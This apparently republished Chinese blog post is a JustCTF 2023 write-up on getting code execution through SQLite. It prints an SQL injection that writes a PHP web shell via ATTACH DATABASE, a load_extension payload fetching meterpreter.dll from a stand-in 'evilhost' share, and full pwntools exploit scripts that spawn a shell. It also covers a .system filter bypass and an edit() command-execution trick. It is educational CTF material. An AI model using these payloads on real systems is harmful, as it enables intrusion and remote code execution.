从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法
2023-6-5 00:0:0 Author: bestwing.me(查看原文) 阅读量:11 收藏

TL; DR

周末简单看了下 JustCTF 2023 的题目, 主要是三个题目吸引了我的注意, 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次和学到一个了一点利用方式。

Known Attacks on SQLite

在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法: ^1

Attach Database

1
2
3
?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn 
(dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']);
?>';--

通过写 ATTACH DATABASE 写文件, 然后执行 php 代码

SELECT load_extension

1
2
?name=123 UNION SELECT 
1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

在能上传文件的情况在, 且加载扩展的功能必须打开 ^2 。在 JustCTF 的 notabug 中也用到这个技巧

title: "exploit for notabug (JustCTF 2023)"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'
context.arch='amd64'


import binascii
p = remote("0.0.0.0",13337)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);")
with open("./exp.so",'rb') as f:
dt = f.read()
sla(b"> ",b"INSERT INTO images(name,type,img)")

dt = binascii.hexlify(dt)


print(dt.decode())


sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));")
sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';")

sla(b"> ",b"select Load_extension('./exp','exp');")
p.interactive()

learned from JustCTF

那么如果我们不能上传文件的时候如何利用 load_extension ,方法来做命令执行呢?

load libc.so

我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts'); 来执行任意的 glibc 方法,例如这里的思路是

通过 puts 、gets 为预测堆地址,并写入我们的结构,然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132

title:"exploit for notabug2(JustCTF 2023)"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *




p = remote('notabug2.nc.jctf.pro', 1337)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)



sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")
ru(": \n")
lic = u64(p.recvn(6).ljust(8,b'\x00'))
warning(hex(lic))
pie_base = lic - 0x1589a0

heap = 0x00005555556b0000-0x0000555555554000+pie_base


system_plt = pie_base + 0x10910
if pie_base > 0x600000000000:
p.close()
warning(hex(pie_base))
sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")
p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))

dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt)
sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")
p.sendline(b"echo n132")

data = p.read(timeout=1)
if b'n132' in data:
p.sendline("/jailed/readflag")
input()
p.interactive()
else:
p.close()

.system execute command

Command Line Shell For SQLite 界面中, sqlite 是内置了一些方法的 ^3 ,其中就包括了 .system

1
.system CMD ARGS…	Run CMD ARGS… in a system shell

这是可以直接执行命令的,但是在 JustCTF 中, 程序做了限制

1
2
3
4

$ cat run-sqlite.sh
#!/bin/bash
sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive

这个正则的解释就是:

这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义:

/^./:匹配以.开头的行。
{ /^.open/!d; }:对于匹配到的以.开头的行,如果行不以.open开头,则删除(d)该行。
因此,这个sed命令的作用是删除以.开头但不以.open开头的行。

因此通常而言我们是不能直接执行 .system 命令的,但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar'); 配合就可以了, 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了

1
2
3
4
select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar');
.system /jailed/readflag
Runtime error: error during initialization:
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

sqlite3 edit function execute command

在 sqlite 还有一个名叫 Edit() 的函数 ^4, 该 Edit() 接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码,该方法其实也是可以执行任意命令的

1
2
sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0,
editFunc, 0, 0);

最后调用到 editFunc

1
2
3
4
5
6
7
zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile);
if( zCmd==0 ){
sqlite3_result_error_nomem(context);
goto edit_func_end;
}
rc = system(zCmd);
sqlite3_free(zCmd);

这是在 discord 看到另外一个队的PoC:

1
2
3
4
5
6

sqlite> .open :memory:
sqlite> CREATE TABLE t(a INT, b VARCHAR(200));
sqlite> insert into t values (0, '');
sqlite> update t set b=edit('','/jailed/readflag') where a=0;
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

1 Many-Birds-One-Stone
2 load_extension
3 SQLite3命令行窗口常用命令
4 The edit() SQL function


文章来源: https://bestwing.me/How-to-hacked-sqlite.html
如有侵权请联系:admin#unsafe.sh